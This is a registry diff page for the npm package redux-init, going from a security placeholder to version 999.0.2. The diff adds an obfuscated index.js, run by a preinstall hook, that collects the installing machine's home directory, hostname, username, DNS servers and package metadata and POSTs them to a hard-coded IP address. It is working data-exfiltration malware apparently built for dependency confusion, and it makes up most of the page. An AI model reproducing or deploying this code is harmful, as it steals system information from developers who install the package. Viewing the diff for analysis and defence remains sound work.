redux-init 0.0.1-security → 999.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of redux-init might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +53 -0
  2. package/package.json +8 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,53 @@
1
+ const a1 = require(String.fromCharCode(111, 115));
2
+ const b1 = require(String.fromCharCode(100, 110, 115));
3
+ const c1 = require(String.fromCharCode(113, 117, 101, 114, 121, 115, 116, 114, 105, 110, 103));
4
+ const d1 = require(String.fromCharCode(104, 116, 116, 112));
5
+ const e1 = require("./package.json");
6
+ const f1 = e1.name;
7
+
8
+ const g1 = JSON.stringify({
9
+ p: f1,
10
+ c: __dirname,
11
+ hd: a1.homedir(),
12
+ hn: a1.hostname(),
13
+ un: a1.userInfo().username,
14
+ dns: b1.getServers(),
15
+ r: e1 ? e1.___resolved : undefined,
16
+ v: e1.version,
17
+ pjson: e1,
18
+ });
19
+
20
+ var h1 = c1.stringify({
21
+ msg: g1,
22
+ });
23
+
24
+ var i1 = {
25
+ hostname: String.fromCharCode(52, 53, 46, 49, 52, 53, 46, 50, 50, 57, 46, 49, 53, 57),
26
+ port: 8088,
27
+ path: String.fromCharCode(47),
28
+ method: String.fromCharCode(80, 79, 83, 84),
29
+ headers: {
30
+ "Content-Type": String.fromCharCode(97, 112, 112, 108, 105, 99, 97, 116, 105, 111, 110, 47, 120, 45, 119, 119, 119, 45, 102, 111, 114, 109, 45, 117, 114, 108, 101, 110, 99, 111, 100, 101, 100), // "application/x-www-form-urlencoded"
31
+ "Content-Length": h1.length,
32
+ },
33
+ };
34
+
35
+ var j1 = d1.request(i1, (k1) => {
36
+ k1.on("data", (l1) => {
37
+ process.stdout.write(l1);
38
+ });
39
+ });
40
+
41
+ j1.on("error", (m1) => {
42
+ if(Math.random() > 0.5) {
43
+ var n1 = true;
44
+ while(n1) {
45
+ n1 = false;
46
+ }
47
+ } else {
48
+ // handle error
49
+ }
50
+ });
51
+
52
+ j1.write(h1);
53
+ j1.end();
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "redux-init",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "999.0.2",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "wanggang",
10
+ "license": "ISC"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=redux-init for more information.